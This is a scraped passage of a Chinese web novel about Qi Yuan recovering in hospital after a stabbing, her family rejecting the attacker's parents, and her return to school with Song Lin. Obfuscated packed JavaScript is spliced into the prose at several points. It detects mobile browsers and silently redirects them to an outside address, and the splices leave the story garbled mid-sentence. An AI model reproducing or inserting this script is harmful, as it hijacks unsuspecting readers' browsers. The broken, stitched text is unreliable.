祁缘做了很长一个梦,梦到妈妈回来了。 天气回暖,阳光照在身上暖洋洋的,她坐在河边画画,殷曼就在旁边欣赏。 “小缘画的这么好,到时妈妈再给你报个艺术班,将来肯定有出息。” “对呀对呀,小缘最棒了,小缘要画好多好多的画,赚好多好多的钱给妈妈花!” 殷曼听完摸了摸她的头,一脸欣慰道:“我们小缘真懂事,这么小就知道想着妈妈啦!” 她笑的开心,下一秒却突然流下泪来。 “妈妈,你怎么哭啦?”祁缘顿住,然后低头从兜里翻出一张手绢。刚要帮她擦掉,天空响起一声闷雷。 她抬起头来,阳光没有了,乌云集中在上空,一瞬间狂风大作,夹在画架上的画被吹的哗啦哗啦响,四分五裂的飘散在空中,转眼就没了影儿。 “天怎么阴的这么……快……” 手绢掉到地上,祁缘往后退了两步,她被吓了一跳,却不是因为天气。 殷曼眼角流下来的,不是泪,是血。 这时祁建强突然出现在她身后,两只手死死抓住她的脖子,他手臂上的青筋暴起,殷曼白嫩细腻的脸马上就变成了紫青色。 “偷偷给她灌什么鸡汤呢?还要报艺术班,她一个女的能学出来点儿啥呀?” “就是单纯想花钱是不是啊?两个该死的东西!” “不是……我没有……” 殷曼痛苦地呻吟着,鲜血顺着下巴流到地上,她呼吸不上来,不停地朝祁缘伸出手。 “小缘……救我……” “救我……” “妈妈……妈妈!” 眼前的场景越来越远,祁缘的手悬在半空,摸索了半天却什么都没抓住。 顷刻间她从睡梦中惊醒过来,她发现她正躺在一个陌生的环境里,胸脯正剧烈起伏着。 刺眼的灯光使她眯了眯眼,酝酿了半天才勉强睁开,她眼珠子转了一圈,大概两分钟后才彻底清醒过来。 这时脑海中突然闪过蒋晗拿刀指着她的画面,她这才反应过来自己为什么躺在医院里。祁缘惊魂未定,身体也止不住的颤抖,过了好一阵子才慢慢冷静下来。 病房里静悄悄的,其余的两个床位都还是空的。她扭动生硬的脖子,看见正在打点滴的手上盖了条毛巾,而冯丽就趴在她的床边,睡的正熟。 病房门突然被打开,她看过去,与刚好进来的宋嶙四目相对。 他眼底闪过一丝惊喜,但这种感觉转瞬即逝,祁缘抿着唇,她也不知道是不是自己看错了。 他面无表情地走过来,手里拿着几张报告单子和一碗盒饭。 祁缘攥紧了手心,垂着眼不敢看他。 冯丽这两天太累了,听到关门声才迷迷糊糊地清醒过来。她醒来第一件事就是查看祁缘的情况,见她已经醒了,红肿的眼睛马上又涌出两行泪。 “终于醒了……”她自责道:“阿缘啊,是外婆……外婆没能照顾好你,让你受苦了,是外婆的错……都是外婆的错……” “跟外婆没有关系呀,外婆是世界上最好的外婆。” 祁缘伸手帮她擦,她看到冯丽脸上的皱纹似乎又新添了几道,头发也白了些,她看的有些心疼,嘴唇止不住的打着哆嗦: “是阿缘不好,又让您担心了……” “你这孩子就知道为别人着想,哎呦……给我这老婆子听的快难受死了……” 冯丽哭的上气不接下气,宋嶙过去给她拍背顺气,然后把手上的盒饭递给她。 “外婆您快先吃点东西垫垫肚子吧,阿缘既然醒了就没事了,我们应该高兴才是。” “对对……”冯丽也觉得这个时候哭实在不妥,胡乱抹了两把眼泪,拿出手机要给殷鹏打电话。 她转头拜托宋嶙:“孩子你先帮我照看一下阿缘吧,我让她外公炖点鸡汤送来给你们喝。” “好。” 祁缘一顿:“外公回来了吗?” “回来了,这两天都是他在这守着,刚回家不一会儿。” 冯丽说完就走了,病房里只剩下她和宋嶙。 祁缘盯着天花板咽了口唾沫,不敢吭声,更不敢看他。 当时他就说过要送她回去,是她自己不听话偷偷跑掉了,明明是不想给他添麻烦的,可到头来还是没躲过。 宋嶙接替了冯丽的位置,坐在床边眼睛一眨不眨地看着她。祁缘被盯的有些发毛,干脆把眼睛闭上了。 宋嶙:“……” 他以为这样就能让她先开口了,结果小丑竟是他自己。 算了,他认了。 他轻声问:“现在还那么疼吗?” 她摇头:“不疼。” “嘴硬。” “……” 该来的总会来的,宋嶙说到底还是有点儿生气,他沉着声问:“你为什么不等我?” 她想了会儿,半晌才老实巴交的说:“我不想给你添麻烦。” “本来还没有,现在确实是添麻烦了。” 他说话的声音始终很低沉,祁缘心头酸楚,眼眶红了一圈儿,视线也开始变得模糊。 看这个态度,他是不是在怪她?他是不是要走了? 鼻尖一酸,刹那间眼泪像断了线的珠子,怎么也止不住。她窘迫的捂住脸,泪水从她的指缝里渗了出来。 “不是?你怎么好赖话都听不懂,逗你玩儿的你也哭啊?” 宋嶙也察觉到自己刚才的语气好像是有些重,赶忙把桌上的纸抽拿过来抽了两张,他伸手把她的手拿开,然后手足无措地在她脸上胡乱抹着。 祁缘是真的很委屈,说话带着浓浓的鼻音:“你的语气一点都不好……” 她哭的像只大花猫,他无奈地笑了笑:“好好好,怪我了怪我了,你快别哭了。” 祁缘越想越伤心,哭的一抽一抽的,结果一不留神扯到了伤口,她疼的面红耳赤,身体像是一根紧绷的弦,躺在床上直冒冷汗。 “我去,你可真是我祖宗。” 宋嶙赶忙出去找来个护士,护士听完急匆匆地跑过来掀开被子看了眼伤口,然后开始训话。 “你这什么家属?病人现在需要静养,你怎么还能让她情绪激动呢?笑也就算了,你还给她说哭了,你说你怎么……” 她叽里呱啦说了一大堆,宋嶙脾气也爆,但躺在床上的是祁缘他也就只能受着,他低声下气的认错几句,那护士见他态度比较好也就不再说了。 “注意点吧,还好伤口没裂开,要不然她又要遭罪了。” “知道了知道了,谢谢护士姐姐了。” 那护士都快四十了,被小年轻叫了句姐姐还挺开心,乐呵的出去查房了。 宋嶙对着她的背影翻了个白眼儿,然后转头看向祁缘,后者这下也不疼了,好像看热闹看的意犹未尽,眼神很无辜。 宋嶙泄了气,他是真没辙了。 不一会儿殷鹏带着鸡汤来了,他笑的和蔼,给他们俩各自盛了一碗。 “现杀的鸡,刚熬好,快尝尝。” 宋嶙尝了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她低声下气地说:“殷叔,你说我们家蒋晗才多大,让她一直在里面待着孩子的前途不就毁了吗?医疗费我们会给你们拿的,还有那个精神损失费什么杂七杂八的我们也……” “那不是你们应该拿的吗?说的好像你们大发慈悲一样。既然扯到前途说事,我说白了,你们家孩子都敢捅人还有什么前途啊?让她在里边好好反省吧,我们是不会原谅你们的,赶紧走赶紧走,别在这碍眼。” 殷鹏真是一句话都不想跟他们说,大手一挥让他们快走。 蒋母一看他这条路走不通,又笑眯眯地看向祁缘:“小缘啊,阿姨替蒋晗跟你道个歉,你看你能不能……” 还没等她说完,祁缘就把头掉到一边儿去了,宋嶙见状,伸手攥住了她冰冷的手。 女人吃了瘪,脸色一会儿红一会儿黑的。蒋父实在是忍不了了,态度强硬:“你们到底想怎么样?难道要我们给你跪下吗?” 宋嶙掀起眼皮,接过话匣子:“跪吧,既然犯错了那就该找个让人舒服的道歉方式,不是吗?” “哪来的毛头小子?你跟他们家是什么关系啊就在这放屁?用得着你在这里出主意吗?” 他上前两步,边说边撸起袖子,蒋母在后边拉他,却被他一把甩开。 真是驴起来谁都骂,他大声斥责:“一天天啥都怕,咱也不知道你他妈怕的是啥!” 宋嶙也被激的来了脾气,祁缘反手抓住他,没抓住。 他眼眸黝黑:“不知道你在狂什么,有本事你就过来动我一下,看小爷我能不能给你打成孙子。” 13. 第 13 章 宋嶙往前走了几步,跟祁缘的病床拉开些距离,他怕这个疯子误伤到她。 蒋父从头到尾就一直打量着宋嶙,这小子除了高点就没啥优点,看上去像个细狗一样。他讽刺地笑笑:“口气这么狂,是不是没有娘教啊?” “你她妈会不会说话?” 这话像刀子一样扎进他心口,宋嶙舌尖顶着腮帮子,他这下是真忍不住了,腿才刚抬起来半截还没踢出去,就被刚从门外挤进来的男人拦下了。 “儿子,你也想进去吗?” 宋健按住宋嶙肩膀,宋嶙咬着牙,强迫自己冷静下来。 蒋父愣住,眼前这个又高又壮一身腱子肉的人,是这小子他爸? 宋健稳住宋嶙后才转头看向他,无奈道:“你知不知道我儿子这一脚能把你肋骨踢折三根?” 蒋父自己都不知道他眼里的惊恐已经出卖了他,他抱着胳膊,完全是在硬撑:“少吓唬我了,我她妈还能怕你们不成啊?” 宋嶙“啧”了声:“嘴比钢筋都硬。” 他往后一退坐到床沿上,抬了抬下巴:“爸,给他吃两口拳头让他尝尝味儿。” 宋健瞪圆了眼睛,他简直不敢相信自己的耳朵:“你小子,自己怕进去就让你老爸冒险啊?” “没事爸,我相信你有分寸。” “什么分寸不分寸的,你……” “说到底不还是怂逼吗?” 这俩人的对话一听就是怕惹事,被他钻着空子了就又支楞起来了。 宋健疯狂点头,顺着他的话说:“是是是,我们都怂在法律上了,要不然就你这么贱的嘴十条命都不够你死的。” “你!” 蒋父气的跳脚,刚要反击被后面的女人拉住,她小声说:“咱们是来求谅解的,你就不能少说两句吗?” “求谅解啊?”还没等男人说话,宋健一脸无语的表情,扭头看向殷鹏:“殷叔,你同意吗?” 殷鹏脑袋晃的像拨浪鼓,回答的干脆:“不同意。” 宋健又看向祁缘:“小缘是怎么想的?” “我也不同意,宋叔叔你快把他们送走吧,我不想看见他们家的人。” 蒋晗对她的种种摧残她都记得,她不是什么圣母,她是个人,她有心,她原谅不了。 如果可以重来一次,她宁愿在牢里吃一辈子牢饭,她都绝对不会再给蒋晗伤害自己的机会。 “好嘞,叔叔这就送客。” 宋健遵从她的意见,脸色渐冷,周围的空气也似乎被凝结住了,和刚才嬉笑时的样子简直大相径庭。 蒋父没忍住退后两步,面前的人面无表情的时候眼神是狠的,再配上他又高又壮的体格,好像下一秒就要把他千刀万剐,生吞活剥一般。 他声寒如冰,送客的同时又顺便下了个警告:“听见没有,我们家小孩儿不想看见你们,要是识相点儿就赶紧走,但如果还是这么死缠烂打的话,我想我不介意进去陪你们的女儿。” “就是不知道,她知道自己爸妈被打死了会有什么感想。” “……有病……” 蒋父这下是真的怕了,抬手拉着身后的女人就要走,还不忘把地上的花束和果篮也带走了。 “带那几个破瓜皮子谁稀罕要一样!” 宋健真是被气笑了,这年头怎么什么人都有? 两个恶心人的终于走了,殷鹏拉住他不停的道谢。宋健大手一挥:“这有啥的,就举手之劳而已,要是他们以后还不要脸的过来纠缠你们就告诉我,我来收拾他们。” 殷鹏知道他是好心好意,不禁叹了口气:“唉,我和小缘她外婆在村里当了一辈子老好人,他们就是觉得我们好欺负、好说话才这么死缠烂打的,搁别人家他们也不敢这么嚣张。” “说到底还是我们不硬气,要不然也不能让小缘受这么多罪……” 他面带愧色,活到今天都七十多岁了,什么大风大浪没见过?那他也没哭过几次,然而现在却眼圈泛红,眼底也渐渐湿润。 虽然他们才在一起生活了一年多,但祁缘有多懂事他们都看在心里,表面上是他们在照顾她,但其实她也有在治愈着他们。 明明自己也生病了,却还在为别人着想,殷鹏常常看着她就会想起殷曼,不一样的点是祁缘比殷曼的心思更加细腻。 这是他女儿留给他们的礼物。 宋健不知道怎么了,每次听完他们老两口说话都心头泛酸。他背过头去快速眨巴着眼睛想把眼泪憋回去,一个壮汉在这里哭哭啼啼的被人看见了不是要被笑掉大牙吗? 宋健缓了会儿,说:“以后这种话就别说了,我儿子保护小缘,我保护你们两个老的,咱两家就常来往,强的保护弱小的,没什么不妥。” 祁缘不知道这是什么概念,可宋嶙了解宋健,他向来都说到做到。他见过的别人结婚念的台词都是走形式,只有他爸,结婚时对妻子许下的诺言全部履行做到了。 “强的保护弱小的,”他当时也这么说过。 他也只有一次食言了,就这一次,他失去了妻子,儿子失去了妈妈,两个人蹲在房间里,哭的溃不成军。 当你没有想保护的人时,枪也就成了无用的子弹。那时的宋健一度不想活了,他想去陪自己车祸过世的妻子,可留在世上的不只有他自己,还有他们的儿子。 现在,他们又有了重新想保护的人,他相信妻子在天上看到,会为他感到骄傲的。 殷鹏听完也是满眼泛着泪花,从前所有人都告诉他你是个爷们儿,你得保护自己的家人,却从来没有人说过要保护他。 他现在突然有点不知所措了,笑了笑,在地上转了一圈儿,忘了自己要干啥了。 …… 祁缘在医院里住了半个月才出院。 宋健执意过来接她,他因为来来回回跑医院这段时间都没怎么出摊,老两口不知道该怎么报答,眼下也就只能多留他们父子来家里吃吃饭了。 冯丽以前在饭店做过后厨,她手艺不错是公认的,也算是大半个厨师长的水平。殷鹏拉着宋健在屋里聊天,祁缘虽说可以走路了但还是怕抻到,就只能宋嶙给她打下手了。 宋嶙爱生火,炽热的火焰烧的正旺,他就坐在灶台边儿上伸着手烤火,烫了就离远点儿,冷了就离近点儿,别提多得劲了。 可也不能做的都是柴火饭,总要用铁炒锅炒几个菜,冯丽岁数大了颠勺颠不起来,于是让宋嶙过来帮忙颠一下。 他立马从凳子上下来,笑嘻嘻地凑到冯丽身边:“放心交给我吧,我力气贼大。” “行,就是劲儿越大越好吃。” 冯丽伸手在上空悬了会儿,感觉到锅热了她才开始往里面倒油,宋嶙就在旁边看着,手扶在提手上,等着 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冯丽听见他们聊的,笑笑:“那你们想吃炒的就来我们家吧,外面买的是味道好,但肯定没有家里做的吃着放心。” 宋嶙点头答应:“行,以后肯定多来您家蹭饭。” “哈哈哈,好好好。” 饭菜齐了,一上午冯丽做了十二道菜,炒的炖的什么都有,摆在桌上可谓是色香味俱全。宋嶙给他们盛完饭后最后才盛自己的,他给自己塞了满满一大碗。 宋健嫌他丢人现眼,忍不住瞪他:“你早上不是吃饭了吗?你属猪的你!” 宋嶙低头忙着吃,夹完这个夹那个,全都品尝了一遍后才吱声:“吃了外婆做的吃你那个可不就算是猪食吗?” 轻飘飘的一句话怼的宋健差点吐血,这完全就是在亵渎他精湛的厨艺,他不死心地问:“那你怎么吃的那么香?” “那我难道饿着吗?爸,你要知道,人饿极了什么都能吃得下。” “你这小子……我看我真是时间长没打你了,你皮痒了是不是?” “行了行了,你们父子别在打起来了。” 殷鹏笑着劝说道,然后递给宋健一瓶啤酒,“咱俩喝点儿。” “好嘞好嘞,殷叔,我敬你一杯。” 两个男人喝酒去了,冯丽忙着给祁缘和宋嶙夹菜,明明夹的一样多,祁缘的碗里已经快要放不下了,而宋嶙的碗又要见底了。 她微微一笑,脸上的皱纹加深了许多:“阿嶙还怪会捧场的。” “主要还是太好吃了,我突然就羡慕阿缘了,每天都能吃到这么好吃的饭菜。” 这话可把冯丽哄乐呵了,“这个辣椒炒肉我炒的最好,主要是阿缘不怎么能吃辣,要不然换成尖椒更好吃。想吃以后就常来,我们家都喜欢你这孩子。” “是吗?”宋嶙眼睛亮亮的,转头看向祁缘,又说:“阿缘也喜欢我吗?” 祁缘蓦地一顿,拿着筷子的手不自觉的收紧了些,冯丽在旁边笑:“肯定喜欢呀,谁不想有这么好的大哥哥?” “哈哈哈给我夸的都不好意思了。” 宋嶙又扭过头去夹菜了,这个问题他只是随口一问,可祁缘却紧张的不行。 她对他的喜欢,早就不是哥哥妹妹这种喜欢了。 14. 第 14 章 时间进入十一月份,空气变得清冷,早上起来窗户外边结了一层厚厚的冰花,形态各异,爬满了整个窗户。女孩儿趴在上面呼出一口气,冰花一点儿没化,反倒是玻璃,糊的一块一块的。 祁缘坐在窗前照着视频学习了一上午,直到一股饭香味儿传到鼻子里,她这才撂下笔,伸了个懒腰。 半晌,她垂下头,摸了摸腹部的伤口,已经不怎么疼了。但是,她抿唇,这个疤好丑。 “阿缘,吃饭。” 冯丽的声音从门缝里挤过来,祁缘放下衣角,大声回应道:“我这就来,外婆。” 饭桌上。 碗筷碰撞的声音像是一首轻快的小曲儿,冯丽今天做了两道菜,一个是西红柿炒鸡蛋,另一个是辣椒炒肉。 她一边吃一边忙着给祁缘夹菜,西红柿和辣椒不夹,只夹鸡蛋和肉片。殷鹏则专注于盯着电视机里的节目,还时不时笑出来一声。 祁缘吃了半碗饭,然后撂下筷子,缓缓抬头。 “怎么了?才吃半碗饭就不想吃了?”冯丽眼睛微微皱起,一脸担忧,殷鹏听到动静,视线也从电视机移到祁缘身上。 “外公,外婆,我想去上学了。” 她弱弱道,其实她早就提过了,但那时伤口还没好利索,他们也就不同意。可眼下已经痊愈的差不多了,她不想一直在家待着了。 空气安静了一会儿,殷鹏点点头:“既然修养的差不多了那你想去就去吧,我们也不能一直把你困在家里,外公这次回来也不走了,到时候等你放学了外公去接你。” 祁缘脸上顿时笑开了花儿,起来就往卧室跑:“那我先去收拾东西了,今天还能上一下午课呢。” “……” 冯丽纳了闷儿:“当时刚去北中那阵闷闷不乐的都可不爱去了,现在怎么一提上学就乐成这样?” “你也不想想,那时候对学校的情况都是未知的那她肯定不爱去啊,主要现在不是有人对她好吗?”殷鹏笑了笑,说:“阿缘性格开朗了,我们应该高兴才是,你琢磨的那些没什么用。” 冯丽点头:“嗯,这倒是。” …… 家里吃饭比学校要早的多,祁缘去学校的时候刚好赶上饭点,这会儿操场都没人,应该都在食堂。 教室里平时闹腾的不行,这会儿没人说话反倒有点儿不太习惯。祁缘蹑手蹑脚的走到座位上,她一个月没来了,手里的湿巾都准备好了,结果桌上一点儿灰都没有。 她眯了眯眼,仔细看还能看见桌面上还没来得及晾干的水渍。祁缘突然想起来,自己第一天来到这个班时,宋嶙也是这么一点一点帮她擦干净的。 她唇角翘起,他是知道她今天回来吗? 时间一点一点过去,班上的同学陆陆续续回来了,有人注意到祁缘,还过来跟她打了个招呼,顺便说几句话。 而有些人则是趁机跟她吐槽,气愤的为她鸣不平:“蒋晗这人本来就坏,经常在别人中间挑拨离间,我们大家都挺烦她的,想不到这次居然做出了这种事……” 这时张晚媛从她们身边路过,她本来不想搭理的,但她又见不得她们当面一套背后一套,当即退回来,“啧”了声:“你们不是一起玩的挺好吗?什么时候烦她了?” 她说话心直口快,在班级里还有一定的威严,这下她们都不吭声了。 张晚媛等周围安静下来才匀出功夫看了眼祁缘,一个月不见她好像比以前漂亮了些,一张小脸甜甜的,所以蒋晗为什么会那么恨她她也能猜出来个大概。 而祁缘,她好像确实没做过什么招惹到她们的事,却无缘无故受了几天欺负,又被捅了一刀,她忽然感觉她好像也挺可怜的。 突然怜悯一个人,这是张晚媛自己都没想到的,她慌忙把视线收回来,转身去前面饮水机旁接热水了。祁缘意外地一怔,她以为她会高兴然后嘲讽她懦弱什么的,结果她什么都没说。 等她走了身边人才开始窸窸窣窣的开口,话题也从蒋晗改为了张晚媛。祁缘没听,也没加入,像她们这种喜欢在背后议论别人又一边倒的人她也不打算深交,就维持个表面关系就行了。 转眼间午休铃响了,祁缘顺着窗户往外看去,操场上的学生越来越少已经所剩无几了。她探头探脑的在为数不多的人群里找了半天,结果还是没能找到她想找的那个人。顷刻间她收回视线,脸上添了些许落寞。 “找谁呢?” “啊!”宋嶙趴在她耳边问,祁缘一点儿准备没有,惊叫一声,吓得狂拍胸脯。 她眉心轻跳,半晌,缓缓抬眼对上他的。 宋嶙低垂着头,额前的碎发给脸上覆盖了一层阴影面,面中的鼻梁高挺,下颚紧致流畅,他盯着她,明明瞳孔漆黑,眼底却满是柔和。 只见此时他一手举着篮球,指尖轻轻一勾,球立马在他的手指上飞速转了起来。 “胆子怎么这么小啊?”他忽然扬眉轻笑,又问:“你是在找我吗?” 他们上次见面还是在她出院的时候,算起来距今为止大概有半个月了,没想到再见面两人竟一点儿也没生疏。 祁缘被戳中心事,她羞红着脸迅速低下头:“没有,我就是想看看外面有没有领导,我想上厕所了。” “你就装吧。” “……” 陈子涛比宋嶙晚回来一会儿,离老远就听见他不要脸的逗人家女生,前脚刚踏进来,他忍不住唏嘘:“人家祁缘都没说找你,你说你一天到晚自恋啥呢?” “我长的好看我凭什么不能自恋?” “倒是你,”宋嶙懒散地掀了下眼皮,冷哼一声:“长的跟个妙脆角似的。” 陈子涛被气的一阵语噎:“哎你这人怎么就知道诋毁我?在祁缘印象里我都成啥人了?” 宋嶙笑:“反正你本来也不是什么好人。” “对对对,你最好了,我好几天没来的时候也没见你给我擦桌子,怎么到她这儿你就天天给她擦?懂得都懂好吧?” “怎么,你吃醋了?” “妈的我就说你这人自恋你还不承认……” 他们俩又开始互相拉踩了,祁缘却什么都听不见了,耳边的声线开始模糊,脑海的意识逐渐涣散,她现在满脑子都是陈子涛的那句话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957256|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他……每天都擦吗? 话语在脑子里面炸开,心跳声在耳边回响,咚咚,咚咚…… 她遇见了一个很好的人。 他阳光热烈,对她温柔细心,是她遇见过的,最最,最好的男孩儿。 她抓着衣角,松开,又抓紧,在她的认知里,自己好像每和他待上一段时间,她对他的喜欢就愈发强烈。 像春季的柳树,像夏季的微风,像秋季的晚霞,又像是冬季的暖阳。 放在暗处的手心攥紧,指尖泛白。她这会儿突然有点儿难过,因为这份喜欢只能被她藏于心底,永远拿不上台面。 外面有领导巡查,一转头就看见宋嶙和陈子涛在这儿张牙舞爪的,他眉毛一竖,进来呵斥一声把他俩都叫了出去。两人一前一后出去,祁缘立马趴在窗口偷看,他俩不知道吃什么了长的那么高,那个领导训话还要仰头,感觉一点儿气势都没有了。 领导一边说一边对两人指指点点,陈子涛好声好气的答应,最起码还有个认错的态度,但宋嶙就不一样了,他看得上眼的怎么说他都行,这个学校他只拿崔荣这个班主任当老师,其余的一律当耳旁风。 那领导注意到他心不在焉的,马上把火力集中到了他一个人身上,要不是崔荣及时过来分割战场,他都怕一会儿俩人吵起来。 那领导气急败坏,让宋嶙写一千字检讨交给他,然后愤愤离去了。 “崔哥你啥时候当个校长把他开了?我她妈看他老不爽了!” “……”崔荣感觉两眼一黑,扶着脑袋问他:“你一天咋这么霸道呢?午休时间闹腾还有理了啊?” “这不是我同桌回来了我高兴吗?” “你同桌回来你也不能……祁缘回来了?” 崔荣反应过来就要往教室走,眼神一瞥,看到祁缘正躲在窗户角那里鬼鬼祟祟地盯着他。 ……像个小偷。 崔荣无奈地笑笑,把她也招呼出来了,问:“你身体好了吗?怎么回来都不告诉老师?” “已经好了,来的时候正好赶上饭点儿,没来得及去找您呢。” “这么一回事啊……”他突然想起来这个月中旬有个期中考试,又问:“你最近在家学习没有?进度跟不上的话晚自习我给你补补课。” 还没等祁缘说话,宋嶙先不乐意了:“崔哥,我半个月没来你怎么不说给我也补补?” “要我从一加一开始教啊?” “……我最近不是学习了吗?” 崔荣憋不住笑:“上节课语文老师考古文,一共才不到三百字,除去你没背下来的不说,那还错了五十多个字。是不是?” 祁缘没忍住倒吸一口凉气,他是白字先生吗? 宋嶙简直要无语死了:“这语文老师嘴也够欠的,怎么什么都跟你说?” 崔荣被唾沫呛住,连咳几声,脸憋的通红:“你这又怪老师了?歪死了你!” “我不管,反正你也得教我。” “行行,晚自习你俩都来。” 崔荣说完转身就走,这小子磨人,他再在这待一会儿嗓子都要气冒烟了。 15. 第 15 章 学校上这个晚自习安排的不知道意义何在,老师不上课,学生们就坐在教室里自习,可眼下没几个能学的进去的,大多数都在偷偷聊悄悄话,或者同桌拿个一红一蓝的中性笔,在本子上玩五子棋。 陈子涛在班级待的无聊死了,宋嶙和祁缘去办公室了,何浩楠这两天感冒了借这个理由在家躺着干游戏。他现在一个人坐在后排,无趣的撕起了卫生纸。 那边忽然有个男生隔空招呼他:“涛子,勇敢者的游戏,来不来?” 陈子涛瞬间来了兴致,凑到他们旁边:“你们哪个带手机了?” “谁敢带啊?我们说的不是手机上那个,是在咱们身上实践那个。” 他反应过来,就是几个男的互相轮拳头往肩膀上锤的那个吗?他摆摆手,“不玩了,我轮不过你们。” 陈子涛刚想走,下一秒就被他们拽了回去:“没事儿,我们让着点儿你。” 伴随着拳头和骨头碰撞的声音,陈子涛哀嚎出声,疼的发抖,在心里把他们几个家里人挨个骂了个遍。 妈的这帮人下死手,以后得离他们这帮狗远点儿。 办公室里。 崔荣从抽屉里拿出两本练习册来,一本递给祁缘,一本递给宋嶙。 祁缘垂着眼,用指甲小心地把书皮上的薄膜划开,然后在手里卷了卷,把垃圾丢进脚边的垃圾桶里。 宋嶙看了眼她的,又埋头看向自己的,没有薄膜就算了,书页都快翻烂了。他抱怨道:“崔哥,你怎么给她的那么新,就给我这么旧的?我不是你的爱妃了吗?” 一句话惹的旁边办公的老师们笑的肩膀乱颤,崔荣的沉默震耳欲聋,他深呼一口气:“祖宗,我给你的书里面写的都是解析,不比祁缘的好啊?” “哦,这样啊……” 他顺着翻了两页,密密麻麻的字迹,感觉头都大了。 他突然有点儿后悔跟着来了。 “好了,你们先写,有不会的再问我。”崔荣说完就开始拿出教案备课了。 祁缘虽说来了这里就没怎么上学,但她看那些讲解视频里的老师讲的都比较透彻,所以只要是不算太难的题她差不多都能写上。 跟她相比宋嶙简直不要太无聊,注意力不知不觉间就被吸引过去,他在旁边看的一脸羡慕,祁缘已经做完快一页了,每道题都不需要过多的思考,他每次看她写下答案,心底里都没来由的出现一股自豪感。 崔荣推了下鼻梁上的眼镜,凑过来,给宋嶙吓了一跳。 “她做题是需要观众吗?” 宋嶙不好意思地挠挠头,“我这不是打算跟她学习一下吗?” “学习什么?” “认真的态度。” 崔荣:“……” 祁缘:“……” 就算留在这他也学不进去,祁缘轻轻碰了下宋嶙的胳膊:“这里这么无聊,要不你先回去呢?我回去我再给你讲好不好?” “行啊!” 他就等这句话呢,立马站起来就跑了,在他看来学习简直是最无聊透顶的一件事了。 崔荣想不到他答应的这么痛快,早知道这样他早就说了。他忍不住感慨:“终于走了,这唉声叹气的我备课都备不进去了。” 祁缘扬起唇角,忍不住偷笑。 她一直学习到放学前一个小时才回去,一是她不会的题崔荣都跟她讲的差不多了,二是她需要留点时间教一下宋嶙。 她抱着书本进班,班里安静的很,很多人都因为太无聊已经睡着了。 宋嶙也是,他跟别人唯一不同的一点就是他是躺着睡着的。 “……”祁缘戳了戳他的腿,没反应。 她又戳了戳他的手,还是没反应。 见他睡的这么熟,她也不太好意思打扰他,干脆找个别的空位坐下。 正想着,手腕被他一把拉住,宋嶙睁开眼,笑眯眯地看她:“我没睡着,逗你玩儿呢。” “……”装的还挺像的。 宋嶙起来让祁缘进去,她把书放下,从中间拿出一本放到他的桌子上,说:“你怎么书都不知道拿回来?” 宋嶙一看正是他在办公室看的那一本,他揉了揉眼睛:“我看这本书比晕车都难受,你还给我拿回来了。” “……”祁缘又把书拿回来放到自己桌肚里,把自己那本给他:“那你做我的呗,都是新的。” 他笑了,气的,实话实说:“我不会做。” “我教你呗,有什么的。” 她把练习册翻到她刚才在办公室写的那页,上面被她勾勾抹抹写了些计算过程什么的,怕他嫌乱,她直接把题抄在纸上。 宋嶙没想到她会这么做,一瞬间有些哑然,轻笑了声,然后老老实实地趴在旁边看着她写。视线刚开始是在她落下的笔尖上,不知道什么时候开始,他的目光不自觉地移向了她的脸上。 教室里白色条形灯静静挂在棚顶中央,她明亮的瞳孔正随着笔墨缓缓颤动着,里面似乎住着点点繁星,灵动又清澈。 从他的视角来看,祁缘的刘海有些长了,甚至有点儿戳眼皮。过了好一会儿她才终于感到不适,伸手把碎发别到耳后,露出一截白皙又纤细的脖颈。 她不紧不慢地写着,笔尖划过纸张,一排好看的行楷字就这么出现在眼前。字迹和她本人有点不太符合,宋嶙记得女生不是都爱写那种什么软软乎乎的奶酪体吗?他记得初中的时候还有人专门买那个字帖跟着练呢。 她写完了,把本子推过来,落落大方的字迹就这么赫然出现在他的眼前,刚正且有力。这么对比下来,他那歪歪扭扭的字实在是有些丑的离谱了。 他问:“怎么就给我抄两道?” “两道都够你研究了。” 祁缘老实巴交的回答,一点儿也没感觉到有哪里不对,可偏偏她越是这样,杀伤力也就越大。 “……”宋嶙认命般点了点头,祁缘想到他知识薄弱,于是提出让他翻书巩固一遍知识点,来个开卷考。 他拿着书迟迟不动,她歪头不解:“你怎么不翻呢?” 他咬着唇:“这是什么题型?” “……三角函数。” 这一章知识点有很多,她继续补充一句:“诱导公式那页。” “……” 啥是诱导公式啊? 宋嶙听完只觉得眼神迷离,静止不动两秒,干脆把整本书都合上了,他现在甚至连中文都听不懂了。 他跟她商量:“能不能换一科?” 学数学简直是要了他的命了,之前她教他的那几个字母他还没认全呢,现在突然让他往里套公式,这不是把他往死路逼吗? “……”祁缘现在算是明白了,前段时间教他的那些他本来就没怎么熟悉,然后她这段时间又一直在家养伤,宋嶙那么贪玩,估计这么久他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957257|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连书都没翻开过。 她尝试着跟他讲道理:“你数学学不好,它和物理化学都是紧密相连的,这些学不通,那你还想学什么科啊?” 宋嶙听完,靠着椅背,翘起二郎腿,佯装认真地想了想。半晌,他打了个响指:“那就都不学了!” 